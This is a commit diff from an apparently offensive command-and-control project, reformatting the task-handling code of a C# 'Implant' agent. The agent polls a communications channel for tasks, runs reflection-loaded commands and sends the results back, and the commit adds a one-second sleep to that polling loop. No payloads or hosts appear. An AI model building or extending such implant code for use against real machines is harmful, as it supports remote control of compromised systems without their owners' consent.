fixed Very high power usage bug
This commit is contained in:
parent
7fad639418
commit
1db8e7a324
|
@ -42,25 +42,18 @@ namespace Implant
|
|||
public static void HandleTask(ImplantTask task) {
|
||||
var command = _commands.FirstOrDefault(cmd => cmd.Name.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase));
|
||||
if (command is null) { return; }
|
||||
try
|
||||
{
|
||||
|
||||
try {
|
||||
var _out = command.Execute(task);
|
||||
SendTaskOut(task, task.Id, _out);
|
||||
} catch (Exception e) {
|
||||
SendTaskOut(task, task.Id, e.Message);
|
||||
}
|
||||
} catch (Exception e) { SendTaskOut(task, task.Id, e.Message); }
|
||||
}
|
||||
|
||||
public static void HandleTasks(IEnumerable<ImplantTask> tasks) {
|
||||
foreach (var task in tasks) { HandleTask(task); }
|
||||
}
|
||||
public static void HandleTasks(IEnumerable<ImplantTask> tasks) { foreach (var task in tasks) { HandleTask(task); } }
|
||||
|
||||
public static void ImplantCommandsInit()
|
||||
{
|
||||
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())
|
||||
{
|
||||
if (type.IsSubclassOf(typeof(ImplantCommands)))
|
||||
{
|
||||
public static void ImplantCommandsInit() {
|
||||
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) {
|
||||
if (type.IsSubclassOf(typeof(ImplantCommands))) {
|
||||
ImplantCommands cmd = Activator.CreateInstance(type) as ImplantCommands;
|
||||
_commands.Add(cmd);
|
||||
}
|
||||
|
@ -83,6 +76,7 @@ namespace Implant
|
|||
_cancelToken = new CancellationTokenSource();
|
||||
|
||||
while (!_cancelToken.IsCancellationRequested) {
|
||||
Thread.Sleep(1000);
|
||||
if (_comms.DataRecv(out var tasks)) { HandleTasks(tasks); }
|
||||
}
|
||||
}
|
||||
|
|
|
@ -10,23 +10,17 @@ using static Implant.Models.ImplantTaskData;
|
|||
|
||||
namespace Implant.Utils
|
||||
{
|
||||
public class ImplantOptionUtils
|
||||
{
|
||||
|
||||
public static void OptsInit()
|
||||
{
|
||||
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())
|
||||
{
|
||||
if (type.IsSubclassOf(typeof(ImplantOptions)))
|
||||
{
|
||||
public class ImplantOptionUtils {
|
||||
public static void OptsInit() {
|
||||
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) {
|
||||
if (type.IsSubclassOf(typeof(ImplantOptions))) {
|
||||
ImplantOptions function = Activator.CreateInstance(type) as ImplantOptions;
|
||||
_opts.Add(function);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static List<Object> ReturnMethod(ImplantTask task)
|
||||
{
|
||||
public static List<Object> ReturnMethod(ImplantTask task) {
|
||||
if (_opts.Count == 0) { OptsInit(); }
|
||||
|
||||
ImplantOptions opt = _opts.FirstOrDefault(u => u.TaskName.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase));
|
||||
|
@ -34,10 +28,7 @@ namespace Implant.Utils
|
|||
return opt.Data;
|
||||
}
|
||||
|
||||
public static ArgsRecv ParseArgs(string jsonData){
|
||||
return JsonConvert.DeserializeObject<ArgsRecv>(jsonData);
|
||||
}
|
||||
|
||||
public static ArgsRecv ParseArgs(string jsonData){ return JsonConvert.DeserializeObject<ArgsRecv>(jsonData); }
|
||||
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue